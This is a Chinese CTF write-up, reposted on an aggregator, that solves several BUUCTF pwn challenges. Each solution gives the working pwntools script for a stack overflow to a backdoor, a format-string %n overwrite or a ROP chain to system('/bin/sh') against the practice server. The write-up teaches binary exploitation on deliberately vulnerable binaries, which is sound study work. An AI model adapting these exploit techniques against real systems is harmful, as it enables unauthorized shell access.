BUUCTF[PWN]

BUUCTF[PWN]

題目:warmup_csaw_2016

  1. 地址:warmup_csaw_2016
  2. ida打開,進main函數:image-20240507204853587
  3. gets函數的棧溢出:給出了sub_40060D函數的地址image-20240507204928362
  4. 直接,溢出到sub_40060D的地址即可:
from pwn import *p = remote('node5.buuoj.cn',28462)
payload = b'a'*(64+8)+p64(0x40060d)
p.sendline(payload)
p.interactive()

題目:pwn1_sctf_2016

  1. 地址:pwn1_sctf_2016
  2. ida打開進入vuln函數:image-20240507213015640
  3. 先找后門函數:get_flagimage-20240507213041278
  4. 雖然說有fgets函數,但是限制了長度為32,但是看棧中 返回地址距離 s有 0x3c+4 ,不足以溢出到返回值:image-20240507213231797
  5. 重新來看一下vuln函數的邏輯找突破口:可以將輸入的 I 替換 為 you ,相當于將一位變成了三位,再計算一下 0x3c+4=3*21+1 ,所以我們要輸入21個I外加另外任意一個字符,即可再字符串替換后溢出到返回值的位置。image-20240507213936907
  6. 攻擊腳本如下:image-20240507214247106
from pwn import *p = remote('node5.buuoj.cn',25670)payload = b'I'*(21)+b'a'+p64(0x8048F0D)
p.sendline(payload)
p.interactive()

題目:jarvisoj_level0

  1. 地址:jarvisoj_level0
  2. 依舊ida打開,進入到vulnerable_function函數:buf只有128,但是輸入有0x200,必有溢出。image-20240507214757431
  3. 找到后門函數:callsystemimage-20240507214845844
  4. 棧中的偏移為 128+8image-20240507214927684
  5. 解題腳本:image-20240507215000428
from pwn import *p = remote('node5.buuoj.cn',27519)payload = b'I'*(128+8)+p64(0x400596)
p.sendline(payload)
p.interactive()

題目:get_started_3dsctf_2016

  1. 進main函數:程序提供了后門溢出函數gets,距離返回值只有56。image-20240510222953507

image-20240510223005248

  1. 看后門函數get_flag:對輸入進行一個判斷,在棧上可以看到數據的位置,在棧溢出時可以直接寫道棧上。image-20240510223042459

image-20240510223104704

  1. 腳本如下:
from pwn import *p = remote('node5.buuoj.cn',27248)door=0x80489A0
return_exit=0x804E6A0payload = b'a'*(56)+p32(door)+p32(return_exit)+p32(0x308CD64F)+p32(0x195719D1)p.sendline(payload)
p.interactive()
  1. 題目中get_flag函數退出時需要提供一個 合適的返回值 (exit函數的地址),保證程序正常退出,否則get_flag函數無法正常退出,輸入在使用putchar輸入在 緩存區中的flag 會因為程序的異常崩潰無法輸出到終端上。

image-20240510223710607

bjdctf_2020_babystack

  1. 進入main函數:簡單的棧溢出,讓我們輸入數據的長度,當然越大越好。image-20240510231719408
  2. 再看一眼main的棧,和后門函數:image-20240510231809938

image-20240510231923575

  1. 攻擊腳本:
from pwn import *p = remote('node5.buuoj.cn',27064)p.recvuntil(b"[+]Please input the length of your name:")
p.sendline(b'50')door=0x4006E6p.recvuntil(b"What's u name?")payload = b'a'*(12+12)+p64(door+1)p.sendline(payload)
p.interactive()

[第五空間2019 決賽]PWN5

  1. 進入main函數:read函數指定了讀取的大小,無法進行棧溢出,但是觀察到 printf(buf),存在格式化字符串漏洞。image-20240511105854807
  2. 利用格式化字符串可以阿將 dword_804C044處的值進行修改,改為我們想要的輸入的值,來達到使if條件判斷通過的目的,dword_804C044的地址為 0804C044 ,使用%n修改指定地址處的值時,需要確定我們寫入數據的偏移,這樣使用%n才能指定到相應的地址。
  • 先使用 **AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p **來顯示輸入的數據的偏移:image-20240511110633456

  • 可以看到輸入的字符串偏移為 10,所以輸入地址0804C044后需要將棧中偏移為10的數值(0804C044)所指向的地址處的值進行修改。

  • 腳本如下,最后輸入的passwd會進入atoi函數,這函數將 字符串轉 化為對應的 數字image-20240511111115233

    from pwn import *p = remote('node5.buuoj.cn',27105)
    p.recvuntil(b"your name:")payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
    p.sendline(payload)p.recvuntil(b"your passwd:")payload = str(0x10101010)
    p.sendline(payload.encode())
    p.interactive()
    

    image-20240511111140609

[HarekazeCTF2019]baby_rop

  1. checksec檢查后,時64位程序,ida打開進入main函數: __isoc99_scanf函數使用 %s,存在棧溢出 。image-20240511210554361
  2. 沒有現成的system(“/bin/sh”),需要手動構造:存在 system函數/bin/sh 字符串,直接使用system給其傳參即可,但是注意這是64位的程序, 前6個參數傳遞依靠寄存器。image-20240511210719114

image-20240511210730969

image-20240511210933208

  1. system函數需要一個參數,直接使用rdi進行傳參,但是棧溢出的main函數只有一個ret,所以需要找到程序中的 pop rdi;ret指令的地址,直接使用 **ROPgadget --binary babyrop --only “pop|ret”**指令查找程序中可能出現的指令組合:image-20240511211205218

  2. 可以看到在 0x400683指令處存在 pop rdi ; ret組合(即先執行pop rdi 再執行ret),這使得可以繼續改變rip的值,跳轉到后門函數system的地址處。

  3. 腳本如下:

    from pwn import *p = remote('node5.buuoj.cn',29873)
    #p.recvuntil(b"What's your name?")
    sh_addr=0x601048
    rdi_addr=0x400683
    door=0x400490
    ret=0x400479
    payload = b'a'*(16+8)+p64(rdi_addr)+p64(sh_addr)+p64(door)	
    p.sendline(payload)
    p.interactive()
  4. 拿到shell后沒有看到flag,使用 find -name flag 查找flag文件的路徑,再顯示:image-20240511211648974

  5. 拿到shell后沒有看到flag,使用 find -name flag 查找flag文件的路徑,再顯示:[外鏈圖片轉存中…(img-NLt6ELLi-1715433475139)]

  6. 幣了吧@~@

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/10463.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/10463.shtml
英文地址,請注明出處:http://en.pswp.cn/web/10463.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[Cmake Qt]找不到文件ui_xx.h的問題?有關Qt工程的問題,看這篇文章就行了。

前言 最近在開發一個組件,但是這個東西是以dll的形式發布的界面庫,所以在開發的時候就需要上層調用。 如果你是很懂CMake的話,ui_xx.h的文件目錄在 ${CMAKE_CURRENT_BINARY_DIR} 下 然后除了有關這個ui_xx.h,還有一些別的可以簡…

Verlog-流水燈-FPGA

Verlog-流水燈-FPGA 引言: ? 隨著電子技術的飛速發展,現場可編程門陣列(FPGA)已成為電子設計自動化(EDA)領域中不可或缺的組件。FPGA以其高度的靈活性和可定制性,廣泛應用于通信、圖像處理、工…

go-zero整合asynq實現分布式定時任務

本教程基于go-zero微服務入門教程,項目工程結構同上一個教程。 go-zero微服務入門教程(點擊進入) 本教程主要實現go-zero整合asynq實現分布式定時任務。 本文源碼:https://gitee.com/songfayuan/go-zero-demo (教程源…

外賣點餐單店+多店自由切換小程序源碼系統全功能版 帶完整的安裝代碼包以及搭建部署教程

近年來,外賣市場持續火爆,但許多餐飲商家在接入外賣平臺時面臨著諸多困擾。高昂的平臺費用、復雜的操作流程以及數據安全隱患等問題,讓商家們倍感壓力。為了解決這些問題,小編給大家分享一款集單店與多店管理于一體的外賣點餐系統…

ACM實訓沖刺第四天

【碎碎念】最近的任務有點繁重,所以考慮到實際情況,視頻學習決定放置一段時間,重點是學校的實訓練習題,對于我而言,目標不是優秀/良好,綜合考慮我的實際情況,保佑我及格、順利通過就可&#xff…

通過自建鏡像方式搭建RabbitMQ集群

通過自建鏡像方式搭建RabbitMQ集群 1. 應用準備1.1 應用目錄結構1.2 配置文件1.2.1 .erlang.cookie1.2.2 hosts1.2.3 rabbitmq.conf1.2.4 rabbitmq-env.conf 2. 編寫DockerFile2.1 將所有本地文件拷貝到工作目錄2.2 拷貝文件到源目錄&增加執行權限2.3 安裝Erlang & rab…

Leedcode題目:移除鏈表元素

題目: 這個題目就是要我們將我們的鏈表中的值是val的節點刪除。 我們題目提供的接口是 傳入了指向一個鏈表的第一個節點的指針,和我們要刪除的元素的值val,不只要刪除第一個, 思路 我們這里可以創建一個新的鏈表,…

【C++】學習筆記——模板進階

文章目錄 十一、模板進階1. 非類型模板參數2. 按需實例化3. 模板的特化類模板的特化 4. 模板的分離編譯 未完待續 十一、模板進階 1. 非類型模板參數 模板參數分為類型形參和非類型形參 。類型形參即:出現在模板參數列表中,跟在class或者typename之類的…

掌握SEO優化的關鍵:提升網站排名的秘籍(如何提高網站seo排名)

你是否曾經在搜索引擎上搜索過一個關鍵詞,然后點擊了排在前幾位的網站?如果是,那么你已經體會到了SEO(搜索引擎優化)的威力。SEO是一項關鍵的網絡營銷策略,它能夠讓你的網站在搜索引擎中獲得更高的排名&…

Apache ECharts

Apache ECharts介紹: Apache ECharts 是一款基于 Javascript 的數據可視化圖表庫,提供直觀,生動,可交互,可個性化定制的數據可視化圖表。 官網地址:https://echarts.apache.org/zh/index.html Apache ECh…

Stable Diffusion寫真完整教程

前言 最近自己對AI非常癡迷,并且今后也會一直在這個領域深耕,所以就想著先入門,因此花時間研究了一番,還好,出了點小成果,接下來給大家匯報一下。 AI繪畫 提到AI繪畫,大家可能立馬會想到made…

A-loam建圖算法

A-LOAM構建3d點云地圖并實時轉存二維柵格地圖 A-loam算法。源代碼用的是velodyne雷達話題,但是現在用rslidar來處理。所以也會遇到另外一個包來轉換相關的數據。 git clone https://github.com/HKUST-Aerial-Robotics/A-LOAM.githttps://github.com/HViktorTsoi/r…

重慶市工程技術生態環境專業職稱申報條件

重慶市工程技術生態環境專業職稱申報條件鏈接重慶市人力資源和社會保障局 重慶市生態環境局關于印發重慶市工程技術生態環境專業職稱申報條件的通知_重慶市人力資源和社會保障局類別基本條件業績成果備注工程師具備博士學位;或具備碩士學位或第二學士學位&#xff0…

cin.ignore()函數和stoll函數

cin.ignore()函數 cin.ignore() 是一個非常實用的函數,主要用于控制輸入流 cin 的行為 cin.ignore(int n 1, char delimiter EOF); n:一個整數參數,表示要忽略的字符數量。默認值是1,意味著只忽略下一個字符。delimiter&#x…

Android 屏幕適配全攻略(下)-百變屏幕無壓力,這才是Android屏幕適配的終極解決方案

在上一篇文章中,我們介紹了Android屏幕適配的基本方法,比如使用限定符資源、圖片適配、矢量圖等。 感興趣的朋友,請前往查閱:Android 屏幕適配全攻略(中)-從九宮格到矢量圖,揭秘Android多屏幕適…

模擬集成電路(3)----單級放大器(共源極)

模擬集成電路(3)----單級放大器(共源極) 放大是模擬電路的基本功能 大多數自然模擬信號太小而無法處理需要足夠的信噪比 理想的放大器 線性:無限的幅度和頻率范圍 輸入阻抗無限大 輸出阻抗無限小 共源放大器 共源放大器就是將源極接A…

01面向類的講解

指針指向類成員使用 代碼&#xff1a; #include<iostream> using namespace std;class Test { public:void func() { cout << "call Test::func" << endl; }static void static_func();int ma;static int mb; //不依賴對象 }; void Test::static…

JavaScript 動態網頁實例 —— 事件處理應用

前言 事件處理的應用很廣泛。在事件處理的應用中,鼠標事件的應用是最常用到的。本章給出幾個鼠標事件處理應用的示例,包括:頁面預覽、圖像切換、點亮文本、鼠標跟隨、鼠標感應和禁用鼠標按鍵。在這些示例中,有的可以直接拿來應用,有的則只提供了一種應用的方法,稍加拓展,…

示例十一、聲音傳感器

通過以下幾個示例來具體展開學習,了解聲音傳感器原理及特性&#xff0c;學習聲音傳感器的應用&#xff08;干貨版&#xff09;&#xff1a; 示例十一、聲音傳感器 ino文件源碼&#xff1a; //Arduino C demo void setup() {Serial.begin(9600);pinMode(5, OUTPUT); }void loo…

機器學習-無監督學習

無監督學習是機器學習和人工智能的另一個重要分支&#xff0c;它主要處理沒有標簽的數據集&#xff0c;目的是發現數據中的隱藏模式、結構或異常。無監督學習不依賴于預先定義的輸出&#xff0c;而是讓算法自己揭示數據的本質特征。 無監督學習的過程通常包括以下幾個步驟&…